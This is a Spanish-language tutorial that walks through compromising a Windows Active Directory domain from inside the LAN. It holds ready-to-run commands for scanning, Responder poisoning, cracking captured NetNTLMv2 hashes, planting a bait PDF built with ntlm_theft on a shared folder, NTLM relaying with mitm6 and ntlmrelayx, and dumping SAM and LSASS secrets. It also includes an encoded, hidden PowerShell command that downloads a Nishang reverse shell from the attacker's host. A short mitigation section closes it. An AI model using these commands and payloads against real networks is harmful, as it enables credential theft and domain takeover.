La intención de este artículo mal redactado no es más que meramente educativa, no me responsabilizo del mal uso que le den. Sin embargo del lado de las compañías podrán entender como un atacante puede enumerar, reconocer y explotar protocolos comunes de autenticación para en etapas posteriores comprometer todo un dominio.

Top Ataques comunes (AD en LAN) + Mitigaciones

  • Reconocimiento inicial

  • Enumeración

  • Smbrelay Clásico

  • Smbrelay + Ntlmteft

  • Cracking de Hashes Ntlmv2

  • Pass The Hash

  • Mitm6 +  Ntlmrelay + Nishang

  • Mitm6 + Ntlmrelay + Socks

  • Mitigaciones

Reconocimiento

En este artículo rasparemos un poco sobre distintas metodologías a la hora de enumerar activos en una red, y a su posterior etapa de explotación. El objetivo será más ser una guía práctica sobre los vectores de ataque más comunes en las auditorias de red con acceso a la LAN, le aconsejo investigar o al menos entender por arriba sobre cómo funcionan los distintos mecanismos o protocolos de autenticación de Windows en un directorio activo.

Ping


ping -c 2 10.10.124.125

Lo que hacemos con la utilidad ping  es básicamente enviar un paquete ICMP del tipo echo request para comprobar el estado de comunicación entre nuestro equipo y el host de destino, es decir si el host esta activo nos devolverá la petición ICMP con un echo reply.

Aunque con esto no quiero decir que en el caso de que un servidor no nos devuelva la petición el host está apagado si no que a lo mejor se establecieron reglas de firewall para bloquear ese tipo de solicitudes ICMP con el fin de evitar la enumeración de equipos activos en una red.

Un poco de Nmap

 Lo más básico primero sería comprobar que equipos están activos dentro de un segmento de red y por sobre todo reconociendo la red con el uso de herramientas como  Nmap, Crackmapexec, Masscan, Rustscan

nmap tiene extensas funcionalidades no sólo para descubrimiento. Sí a eso le sumas su motor de scripts NSE, donde puedes agregar funcionalidades extras, es decir nos sirve para recon, enumeración e inclusive explotación, a continuación mostraremos unos ejemplos interesantes con las siguientes opciones.


--packet-trace: flag para mostrar un sumario de cada paquete que se envía y se recibe.

-sP : nos sirve para sondear la red (envía paquetes echo reply ICMP, y espera su respuesta).

-n : Para que no haga una resolución DNS es decir, que no convierta el ip a nombre de dominio a través de una consulta DNS


nmap -n -sP 10.10.124.155 --packet-trace

Probando Distintos modos de escaneo con Nmap : SYN (Sigiloso y eficiente)


1. -sS : Un Scaneo sigiloso del tipo TCP/SYN , es un escaneo rápido y eficiente no es restringido por firewalls

2. -sT : Similar al escaneo TCP/SYN anterior con la diferencia de que este completa la conexion para después finalizarla

para entender los siguientes tipos de escaneo miremos las imágenes a continuación

  1. Escaneo sigiloso SYN ya que no completa su conexión envía el paquete SYN, recibe el SYN/ACK pero no responde con un ACK para completar el saludo de 3 vías (3 way handshake) si no que envía un paquete RST para decirle que hubo un error y que reinicie la conexión.

En  caso de que el escaneo SYN sigiloso no sea efectivo, tiraremos de un escaneo TCP (siguiente ejemplo)

  1. Escaneo TCP a diferencia del escaneo anterior completamos la conexión con nuestro paquete ACK es decir enviamos nuestro paquete SYN el servidor nos responde con un SYN/ACK , le devolvemos el ACK (completando el 3 way handshake) y le respondemos con UN RST para que finalice la conexión o la reinicie

Aquí comprobaremos los puertos abiertos, especificándole a nmap que queremos las siguientes opciones :


-sS : TCP SYN (sigiloso)

--min-paralelismo : especifica el número mínimo de operaciones de escaneo de puertos paralelos. Es decir para que divida la operación en problemas más pequeños y sea (eficiente)

--max-rtt-timeout :  se utiliza para especificar el tiempo de espera máximo de RTT (tiempo de ida y vuelta) para una respuesta de paquete

-p- : Todos los puertos, parecido a -p 1-65535 en rango de enteros

--open : Con estado open/abierto

-n : No haga resolución DNS

-Pn : No haga descubrimiento con ICMP, osea no envié el paquete ECHO REQUEST y se quede esperando su respuesta ECHO REPLY


nmap -sS --min-parallelism 1000 --max-rtt-timeout 100ms -p- --open 10.10.124.155 -n -Pn -vvv

Rustscan

Enumeración Básica con Rustscan

Scanner para mapear redes escrito en RUST bastante rapido (Nmap puede ser igual de rapido si jugamos con las opciones correctas), para usarlo como complemento de nmap está bastante bien, ya que puedes usarlo junto con nmap es decir puedes utilizar rust para recon y nmap para enumerar versiones y servicios de los puertos anteriormente reconocidos ejemplo:


rustscan -a 10.10.124.132 --ulimite 5000 -- -n -Pn

Crackmapexec

La navaja suiza del pentesting, escrita en python sirve tanto para enumeración también como para postexplotacion, utiliza librerias de impackets en su suite, soporta distintos protocolos como mssql, ssh, winrm, ldap, smbcon ella la creatividad juega un rol importante.

Podemos hacer un sin fin de cosas desde fuerza bruta a ofuscar scripts en powershell, utilizar archivos customs de AMSI bypass, subir, ejecutar ficheros, dumpear hashes, lo podemos utilizar para movimiento lateral con pass the hash y demás . Una Navaja Suiza.

  • Recon Básica Crackmapexec

Mapeando la red de un dominio para listar información interesante para etapas posteriores de explotación.


cme -t 200 smb 10.10.124.0./24 --gen-relay-list NotSmbSigning.txt

  • Listar Módulos con crackmapexec

Como vemos toda una sección de módulos enteros como por ejemplo lograr ejecutar un ingestor de Bloodhound para recopilar información de todo el dominio este paso nos ahorra muchísimo tiempo para no andar jugando con la red e ir directamente a donde queremos llegar.

  • Enumeración básica con crackmapexec

Ejemplo de enumeración básica con un usuario con bajos privilegios en la red de un dominio con crackmapexec.


cme -t 200 smb 10.10.124.0/24 -u Consultant -p Password123! -d child.evilcorp.local --shares --session --loggedon-users --local-groups

Logramos enumerar sesiones, recursos compartidos , y algunos grupos locales.

Esto es un pequeño ejemplo de todo lo que puede hacer con CRACKMAPEXEC incluyendo que tambien puede lograr Remote Code Execution con distintos métodos como wmiexec, atexec, smbexec, mmcexec, winrm lo invito a que juegue un poco con él en su laboratorio.

  • RCE Información útil a tener en cuenta a la hora de querer ejecutar comandos con cuentas privilegiadas
Metodo  Tipo de RCE    Puertos usados          
Wmiexec Cmd/Powershell TCP:(135, 445, 50911)   
Atexec   Cmd/Powershell TCP: 445                
Smbexec Cmd/Powershell TCP: 445                
Mmcexec Cmd/Powershell TCP:(135,445,49751 DCOM)
winrm   Cmd/Powershell TCP:(5985, 5986)        

Smb Relay Clásico IPV4

Responder

Responder es un envenenador de tráfico y sniffer que hace de Man in the Midle envenenando de distintos protocolos NBT-NS,LLMNR, NTLM, SMB, MSSQl .

LLMNR/NBT-NS: Se utiliza como alternativa de resolución de nombres cuando el DNS no está funcionando correctamente.

  • Crackeando el hash netntlmv2 capturado por el responder
  1. Identificamos el tipo de hash

  2. le indicamos a john el formato del hash y el diccionario junto con el hash

  3. crackeamos el hash


cat > hash

hashid -j hash

john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt hash

john hash --show

Capturando Hashes con ntlm_theft + Smbrelay

Conseguir credenciales de acceso válidas en la mayoría de los casos es fundamental para continuar con etapas posteriores de post explotación, en este caso realizaremos una pequeña prueba de con la herramienta ntlm_theft que básicamente lo que hace es generar un témplate de un fichero apuntando hacia nuestro servidor con el responder (donde estaremos envenenando la red) para capturar hashes en este caso lo que haremos será

  1. Crear el fichero malicioso para subirlo a un recurso de la red

  2. Subir ese fichero con smbmap/crackmapexec (ya que disponemos de credenciales de bajo privilegio)

  3. Ejecutar el responder para que este en escucha envenenando las conexiones para extraer hashes cuando se autentican contra nosotros.

  4. Esperar a que el usuario victima haga clic en el recurso y su tráfico sea redirigido a nuestro servidor con el responder activo


python3 ntlm_theft.py

python3 ntlm_theft.py --server 10.10.124.240 --generate pdf -f cheque_a_cobrar.pdf

-  Creacion del fichero con ntlm_theft

  • Enumeramos la carpeta con permisos de escritura, para subir nuestro archivo malicioso.

  • Subimos el fichero con smbmap, ya que enumeramos anteriormente con crackmapexec y nos dimos cuenta que hay una carpeta con permisos de escritura.


smbmap -u consultant -p Password123\! -d child.evilcorp.local -H 10.10.124.155

smbmap -u consultant -p Password123\! -d child.evilcorp.local -.H 10.10.124.155 -r SharedFolder$

smbmap -u consultant -p Password123\! -d child.evilcorp.local -.H 10.10.124.155 -r SharedFolder$\\consultant

smbmap -u consultant -p Password123\! -d child.evilcorp.local -.H 10.10.124.155 -r SharedFolder$\\consultant  --upload cheque_bancario.pdf

SharedFolder\$/consultant/cheque_bancario.pdf

 Una vez subido nuestro fichero malicioso creado con ntlm_theft, esperamos a que alguien curioso quiera fijarse qué clase de cheque bancario es.

 

 Y en nuestro responder veremos que la persona que abrió nuestro pdf es una cuenta con privilegios de administrador, podríamos intentar crackearlo y con suerte nos hacemos con el dominio entero

 

 a continuación intentaremos ejecutar un comando remoto whoami a modo de prueba, para después terminar dumpeando la sam local o bien el ntds del dominio , para poder hacer pass the hash, aunque ya teniendo una cuenta privilegiada, podemos activar el módulo de RDP con crackmapexec o simplemente loguearnos por WINRM en el caso de que tenga el puerto 5987 y si no lo tiene abierto podemos habilitarlo quitando las reglas de firewall ya que tenemos ejecución remota de comando a través del smb.

 

NTLM Relay

NTLM es un protocolo de estilo de desafío/respuesta que se usa comúnmente }en windows para la autenticación entre clientes y servidores.

Los protocolos (que requieren autenticación de un usuario) y lo utilizan son  HTTP, SMB, SMTP . Es decir NTLM están integrado en ellos.

El proceso que realiza NTLM para la autenticación es el siguiente :

  1. El cliente intenta iniciar sesión en un servidor enviando un paquete NEGOTIATE_MESSAGE

  2. El servidor le responde con un CHALLENGE_MESSAGE para darle la oportunidad al cliente de que se identifique, Este desafío (o nonce) es un numero aleatorio que debe ser encriptado por el cliente con su hash de contraseña

  3. Finalmente el cliente responde con un AUTHENTICATE_MESSAGE que incluye el desafío encriptado, el nombre de usuario, el nombre de host o el nombre del dominio.

  4. El servidor verifica el desafío con el hash de la contraseña y se asegura si es el correcto, para aceptar o denegar su autenticación

 

Nota los hashes Net-NTLMv2 no se pueden usar para ataques Pass-The-Hash (PTH) solo sirven para crackearlos con john o hashcat, los hashes NTLMv1 si sirven para Pass the hash.

 Entendiendo el concepto anterior procederemos a realizar un ataque NTLM Relay utilizando responder y ntlmrelay de impacket

  1. Identificamos nuevamente los hosts que no requieren firmado

crackmapexec -t 200 smb 10.10.40.0/24 --gen-relay-list targets.txt

--gen-relays-list : Devuelve la dirección de todos aquellos hosts que no requieran SMB certificado (Vulnerables a distintos tipos de ataques de relay)

como hemos nombrado anteriormente SMB Signing es una función de seguridad de smb que evita los ataques de relay pidiendo la autenticidad del destinatario. Sin embargo es frecuente encontrarlo deshabilitado para admitir dispositivos heredados o mejorar la velocidad de la red.

2.  Procedemos a deshabilitar el protocolo Smb y HTTP de la configuración del responder /etc/responder/responder.conf esto es porque ntlmrelay  utiliza los puertos SMB/HTTP

  1. ejecutamos ntlmrelay para que se ponga a la espera por hashes capturados con el responder para intentar dumpear la sam con el mismo relay en hosts que no requieran smb firmado

python3 ntlmrelayx.py  -smb2support -tf /tmp/AD/targets.txt

-smb2support : soporte de smbv2 antiguo

-tf : archivo que contiene los ip de los hosts que no requieren smb firmado, donde intentara dumpear la sam con el relay del hash capturado en el responder . (una ip por linea)

Aparentemente hay cuentas en el dominio que poseen privilegios sobre otros hosts, y de los cuales con ese relay de smb del usuario con privilegio podemos DUMPEAR la SAM para realizar un pass the hash o intentar crackearlos.

Ntlmrelay with Proxy socks

  1. Similar al ataque anterior con la diferencia de que solo le agregamos el parámetro -socks para que inicie un proxy socks y lo ponga a la espera, pero para eso primero iniciemos el responder

responder -I ens38

  1. nos aseguramos de que en nuestro archivo de configuración de proxychains /etc/proxychains.conf tengamos seteado el puerto correcto para el túnel socks que utilizaremos en el relay

[ProxyList]

# add proxy here ...

# meanwile

# defaults set to "tor"

socks4  127.0.0.1 1080

  1. ejecutamos el ntlmrelay para que inicie el servidor que retransmitirá el hash a nuestro túnel

python3 ntlmrelayx.py -socks -smb2support -tf /tmp/AD/targets.txt

-socks : Utilizaremos un socket para tunnelizar el tráfico hacia nosotros

  1. como vemos tenemos una cuenta que tiene privilegios de administrador en otros equipos y al tener el relay lo que hacemos ahora, es intentar foguearnos a través del túnel con proxychains sin especificar contraseña

así de sencillo nos autenticamos utilizando el relay de smb que contiene lo hashes para la autenticación con herramientas como smbexec, psexec, wmiexec etc.

Ntlmrelay Nishang

Con ntlmrelay tenemos la capacidad de ejecutar comandos remotos, que podría ser bastante útil para obtener una reverse shell, más si ocultamos la petición al recurso de nishang en base64  Invoke-PowerShellTCP


python3 ntlmrelayx.py -smb2support -tf /tmp/AD/target.txt -c 'powershell -nop -w hidden -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADQAMAAuADIANQA6ADYAMAA2ADAALwBwAHMAaABlAGwAbAAuAHAAcwAxACIAKQAKAA=='

Obtenemos nuestra reverse shell =).

Ntlmrelay con Secrets Dump

utilizaremos el relay capturado  para poder volcar los hashes de SAM y LSASS secrets con la herramienta secretsdump. Esta técnica nos dará la posibilidad de movernos lateralmente ya que es probable que consigamos hashes de cuentas del dominio, o en el mejor de los casos cuentas de servicios con credenciales en texto plano


proxychains python3 secretsdump.py dev/c.rodolfo@10.10.40.223 -no-pass

MITM6 With NtlmRelay IPV6 y Nishang

IPV6 es la versión más reciente de IPV4, y en muchos ámbitos un protocolo más descuidado en las compañías ya que uno generalmente se centra en mitigar vulnerabilidades del protocolo más usado hasta el momento (IPV4) aunque en unos no será así.

a continuaciòn realizaremos una prueba haciendo un ataque mitm6 junto con ntlmrelay para inyectar un comando haciendo una solicitud  a un servidor web con el recurso de nishang


# Mitm6

mitm6 -i ens38 -d dev.evilcorp.local --ignore-nofqdn

-i : interface

-d : dominio

--ignore-nofqdn : ignora las consultas dhcpv5 que no contengan el nombre de domini ocompleto

# Ntlmrelay

python3 ntlmrelayx.py -t smb://10.10.40.226 -c 'c:\windows\SysWow64\WindowsPowershell\v1.0\powershell.exe -nop -w hidden -enc ADAALwBzAGgAZQBsAGwALgB[..B64-Request..]wAHMAMQAiACkACgA=' -wh 10.10.40.225 -smb2support

-t : target

-c : commando a ejecutar

-wh : habilita el servicio de un archivo WPAD (Web Proxy Auto-Discovery)  para la autenticación del proxy, o sea nosotros somos el servicio en este caso

# Http.server

python3 -m http.server 8080

 

MITM6 con NTLMRELAY + Socks

 La intención es la misma con la diferencia de que guardamos el relay capturado para después tunelizarlo con proxychains con el fin de lograr autenticarnos.

 ```shell

 mitm6 -i ens38 -d dev.evilcorp.local –ignore-nofqdn

 python3 ntlmrelayx.py -t smb://10.10.40.226 -wh 10.10.40.225 -smb2support -socks -debug

 ```

como vemos en la imagen anterior, tenemos un relay capturado con la bandera de AdminStatus en True, o sea que podríamos utilizarlo tranquilamente  para autenticarnos a ese host en particular con el usuario  **Samuel Adam **


Mitigación

  1.  Habilitar las firmas de SMB

2.  Deshabilitar LLMNR

3.  Deshabilitar NBT-NS

4.  Deshabilitar IPV6

5.  Monitorear el trafico

Habilitando la firma de SMB

Habilitando la firma de smb evitaremos por completos los ataques de retransmisión (relay) vistos anteriormente ya que el sujeto tendrá que comprobar su autenticidad, básicamente es como agregarle un sello a nuestro paquetes generados por SMB que identifique quien es el destinatario.

Para esto podemos crear GPOS en el dominio o simplemente agregando la configuración al equipo local afectado, nos vamos a las políticas de grupo

Configuración del equipo/Políticas/Configuración de Windows/Configuración de seguridad/Políticas locales/Opciones de seguridad

Doble clic en Servidor de red de Microsoft: Firmar digitalmente las comunicaciones (siempre) y habilitarlo.

deben tener en cuenta que el trafico será algo más lento, ya que le están agregando una capa de seguridad extra y también que no afecte a dispositivos heredados en la red

Deshabilitar LLMNR

Deshabilitar LLMNR y NTB-NS evitará que herramientas como Responder capturen las credenciales

Abra el Editor de políticas de grupo nuevamente Vaya a  :

Política de equipo local > Configuración del equipo > Plantillas administrativas > Red > Cliente DNS

En Cliente DNS, asegúrese de que “Desactivar resolución de nombre de multidifusión” este en Habilitado

Deshabilitar NBT-NS

Abra sus conexiones de red , va a la propiedad de su adaptador

  1. selecciona el protocolo (TCP/IPV4) haga clic en propiedades

  2. En la pestaña general, haga clic en avanzado

  3. navegue hasta la pestaña ‘WINS’ y luego desactive NetBios sobre ‘TCP/IP’

Desactivando IPV6

  1. similar al método anterior nada más que en las propiedades del adaptador y desactivamos el protocolo ipv6

  2. también puede especificarle a su DHCP server que no asigne direcciones por IPV6

Llegamos al fin, gracias por tomarte el tiempo de leerlo =)